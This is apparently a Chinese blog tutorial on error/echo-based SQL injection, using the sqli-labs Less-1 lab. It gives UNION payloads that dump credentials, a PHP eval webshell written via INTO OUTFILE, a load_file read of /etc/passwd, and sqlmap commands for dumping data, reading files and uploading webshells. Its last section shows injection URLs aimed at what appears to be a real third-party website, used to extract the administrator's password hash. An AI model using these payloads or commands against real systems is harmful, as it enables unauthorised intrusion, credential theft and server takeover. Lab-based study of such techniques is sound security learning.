sql注入 sql-lib第一个(回显注入)

主打一个学习,写的不好请谅解(ps :有个工具叫sqlmap,在后边,要是写的不好,请多担待

˚ ˃̣̣̥᷄⌓˂̣̣̥᷅

目录

按照注入的网页功能类型分类 •(ps:注入类型纯看个人收集情况)

环境搭建

sql注入复现

其他一些小玩意

select into outfile 写一句话木马

利用 load_file 读敏感文件

hackbar

SQLmap 基础使用

读取敏感文件

上传木马

附上一个小日子的回显注入漏洞


SQL注入攻击的根源:程序命令和用户数据(即用户输入) 之间没有做到泾渭分明 注入成功的基础 1、相信用户输入的数据 2、Sql语句的拼接

按照注入的网页功能类型分类 •(ps:注入类型纯看个人收集情况)

1、登录注入 • 2、cms注入 •

按照注入点值的属性分类 • 1、数值型 • 2、字符串型 •

基于从服务器返回的内容 • 1、有回显 • 2、无回显 •

按照注入的程度和顺序 • 1、一阶注入 • 2、二阶注入 •

其他业务场景 • Update注入 • Insert注入 • Delete注入 • Like注入 • Order by注入 • 宽字节注入

• htt头注入

环境搭建

可以使用centos下搭建docker容器,在终端输入 docker search sqli-labs

• 拉取sqli镜像docker pull docker.io/acgpiano/sqli-labs • 运行容器,

加载镜像docker run -dt --name sqli-labs -p 8088:80 --rm docker.io/acgpiano/sqli-labs(ps:我看别的佬有写的很详细的docker搭建,我就不写了,这里的实验就是最常见的sql-lib的靶场,后续我发个真实网站的sql注入(那个已经被打烂了))

或者使用phpstduy小皮面板搭建,详情也可以看看别的佬写的

sql注入复现

启动搭建好的sql靶场,启动后需要点击setup构造数据库,负责无法正常使用(ps:phpstudy下(windows),默认使用的是高版本的php语言,可能导致该靶场有些地方无法正常访问,需要更改php语言的版本后再使用(改成5.x)具体安装过程可以看其他佬的,咱就是一菜菜),启动数据库后,即可点击Basic Challenges进行题目选择

判断是否存在sql注入依据:

sql注入漏洞主要存在于与数据库有交互的地方,比如搜索框,登录框等,其原理可以简单理解为开发人员没有进行足够的防御,导致在url上传入sql语句时,后端没有过滤,上传的sql语句可以被执行,从而得到数据库内的各种信息。

这里以less-01举例,该url上并没有上面并没有出现什么与数据库有关的数据,但由于这是个小靶场,下面也有个提示,因此可以加上less-1/?id=1 --+。其中,?在url中表示搜索的意思,而id=1则相当于与数据库做个交互,告诉服务器我要从数据库中查找id为1的数据。

http://www.henghuiyuan.com/cn/about.asp?id=1这个地址就是真实情况下的一个地址,与数据库进行了交互,就可以尝试用各种手段去测试是否存在sql注入。--+可以理解为一个注释的作用,因为目的是要执行sql语句,加上这个注释符可以确保语句是一条完整的,所需要的sql语句。(ps:sql注入的方式有很多,还有一些是无法从url中看到的,需要靠自己手动添加?id或者通过抓包进行分析,这就是个小破实验,别深究太多。)

也可以通过在 URL 中修改对应的 ID 值,为正常数字、大数字、字符(单引号、双引号、 括号)、反斜杠/来探测 URL 中是否存在注入点(根据回显的错误)。

通过?id=1 后,就需要构造相关的sql语句,可以通过?id=1 and 1=1 --+;?id=1 and 1=2 --+进行判断是该注入点是否为数值型;  ?id=1’ and 1=1 --+;?id=1 and 1=2 --+ 这两条来判断是否为字符型。 数值型与字符型是基于数据库存储字段是个字符串还是数值。

数值型
select * from stu where id = 1 and 1=1
字符型
select * from stu where id = '1' and 1=1 #'

这两条便是正常情况下数据库的sql查询语句,下面这条需要注意,为了使其成功以sql语句执行,需要添加引号;在url中,因为这里的数据是个字符串,所以一开插入的语句是select * from stu where id = '1 and 1=1 ' 将其当成一个字符串,但最终目的是要以sql语句执行,所以需要在最前面加个单引号也就是and前面,使其‘1’成功闭合,而后面多出来的单引号则通过注释#(--+也是注释,主要用在url),来构造sql语句,判断是哪种注入。而1=2 也是判断是否存在sql注入,在sql中,and执行的条件是两边都要符合才会执行,因为判断注入点时是要判断上面这条url是否被执行,因此使用and 1=2可以更好的进行判断。

经过测试,发现字符型的1=2并没有回显,可以判断这里是个字符型的回显注入,因为其他的有信息回显。(ps:有些网站会屏蔽一些东西,比如',select之类的字符,碰到那种这个方法就没用了,得想办法绕过,但那是后话)得知类型后,即可开始接着用order by对其动手。

order by 为判断字段数量,即判断该数据库里有几个字段是可以使用的,下方写入第四个字段时出现报错,因此可以判断此处为三个字段,进行下一步操作。

下面使用了sql中一种查询方式,为联合查询(union select)使用union有两个条件 1. 字段数量需要一致 2. 编码类型必须一致 ,UNION 操作符作用是合并两个或多个 SELECT 语句的结果,这里便是判断回显的位置,即那个字段下是可以产生数据的。而id=-1‘的作用:’是因为这个靶场是个字符型的注入,而-1则是为了让其原本的回显为空,如果id设置的是1的话,其查询的id将永远是1,返回的数据也只有第一条数据,而将其变为-1或0后,使原本的回显为空,即可以查到字段下对应有回显的字段。

通过查询到的回显字段,输入database,即可得到其字段所对应的数据库,都为security(ps:不止可以查看数据库名,还可以看用户名(user),版本(version())等 把查到的数据库,表名,字段名都记录下来,后续可以通过他们直接得到数据)

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

通过上述命令得到表,group_concat是一个函数,作用是列出括号内的全部内容,这里通过group_concat将数据库里的表全部选中。information_schema是一个数据库里专门用来收集各种表字段的一个默认数据库,该数据库在mysql5.0以上都会默认存在,可以通过version()先查看一下版本(上面那段),通过选中该数据库中的表,where后的table_schema则意味着表的数据源自于其默认数据库。

id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+

和上面类似,通过把表改成字段,再指定一下所查表的名字,得到相应的字段

最后通过所得到的表以及字段,成功得到数据,后续则是对其进行相应的爆破。

-1' union select 1,group_concat(username,password),3 from security.users --+

一个简单的回显注入就此完成(ps:上诉所以操作在真实环境下,比如union select,',information_schema等字段都会进行过滤导致无法使用,就需要使用其他方法,但这只是个小实验,建议先别管那么多)(再ps:正常情况下验证出有sql注入就可以上交,不要私自去爆破其数据,可能进去喝茶)

其他一些小玩意

select into outfile 写一句话木马

这个写入木马需要一定的配置才可以实现,在docker环境下,需要登入容器内( docker exec -it sqli-labs bash),对html文件添加相应的读写权限 这里直接用 chmod -R 777 html/直接对其添加最高权限(linux下的命令)(phpstudy下也可以,不过所需要修改的地方会更多一些,需要移至根目录下进行修改,具体可以去看别的佬(我也不太会))

' union select 1,"<?php eval($_POST['xx']); ?>",3 into outfile '/var/www/html/ma.php' --+

完成木马的上传(ps:phpstudy也可以有类似的操作,也需要对其根目录进行修改,不过sql注入已经注到这了,是否上传也没啥必要,并且还需要对方机器的权限有开启,了解即可。)

利用 load_file 读敏感文件

' union select 1,2,load_file('/etc/passwd') --+

可以通过load_file对其中一些敏感文件进行读取来得到相应的信息

hackbar

一款便捷的小工具,可以通过火狐与谷歌上的扩展程序下载,可以更加方便的执行sql的语句注入。(下载后点击f12打开)

SQLmap 基础使用

这是一款强大的工具,因为太强就不多说了

kali有自带的sqlmap 无需下载安装 

sqlmap 使用sqlmap   (ps:Windows下需要加上python才能使用)

 -u表示指定url

--batch以默认方式使用

中间的url 目标url的地址

出现该命令意味着漏洞存在(ps:证明存在漏洞在使用sqlmap,盲猜不太合适)

sqlmap -u "192.168.100.136:8080/Less-1/?id=1" --batch --dbs

--dbs得到数据库名字

sqlmap -u "192.168.100.136:8080/Less-1/?id=1" --batch -D security --tables

-D选定数据库,--tables查看表

sqlmap -u "192.168.100.136:8080/Less-1/?id=1" --batch -D security -T users --columns

获取表下的相应字段

sqlmap -u "192.168.100.136:8080/Less-1/?id=1" --batch -D security -T users -C username,password --dump
汇总上分得到的信息,-C选中字段名,通过--dump将其中的数据取出来,得到账户与密码

sqlmap也可以像上面手工注入一样上传木马与读取敏感文件

读取敏感文件

sqlmap -u "192.168.100.136:8080/Less-1/?id=1" --file-read '/etc/passwd' --batch
 

上传木马

sqlmap -u "192.168.100.136:8080/Less-1/?id=1" --file-write /root/888.php --file-dest /var/www/html/ma2.php

这个write和dest可以理解为sqlmap里的固定语法 将本地文件写入到目标主机下的哪个地方

以下是一些常用的sqlmap基本的相关参数

-h 帮助

-u 选择url

-batch 使用默认配置

-dbs 获取库名

-D 选择数据库

-tables 获取表名

-T 选择表名

-columns 获取字段名

-C 选择字段

-dump 输出数据

-dump-all -r 读取数据包

-p 选择注入的参数

-proxy 代理

-random-agent 随机使用一个请求头

附上一个小日子的回显注入漏洞

(ps:这个是好久以前的了,下面的图可能有点牛头不对马嘴(当时差错表截错图了),将就一下(ᕑᗢᓫ∗)˒。当时还不会sqlmap ,忽略那个视频直播课,谢谢 )

代码:and 1 = 1

截图:

作用:

测试是否存在漏洞

步骤2:

代码:order by

作用 根据orderby语句可得知该数据库字段数量为26

步骤3:获取哪个字段可以有回显

步骤4:

获取表名

https://www.minesushi.com/ch/news/detail.php?id=-1%20union%20select%201,2,3,4,5,6,group_concat(table_name)%20,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26%20from%20information_schema.tables%20where%20table_schema%20=%20database()%20--+

步骤5:获取字段

https://www.minesushi.com/ch/news/detail.php?id=-1%20union%20select%201,2,3,4,5,6,group_concat(column_name)%20,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26%20from%20information_schema.COLUMNS%20where%20table_schema%20=%20database()%20and%20table_name=%27Photos%27--+

步骤:6

通过上述数据得到管理员账户密码的加密信息(md5解密一下就出来了)

  • 25
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值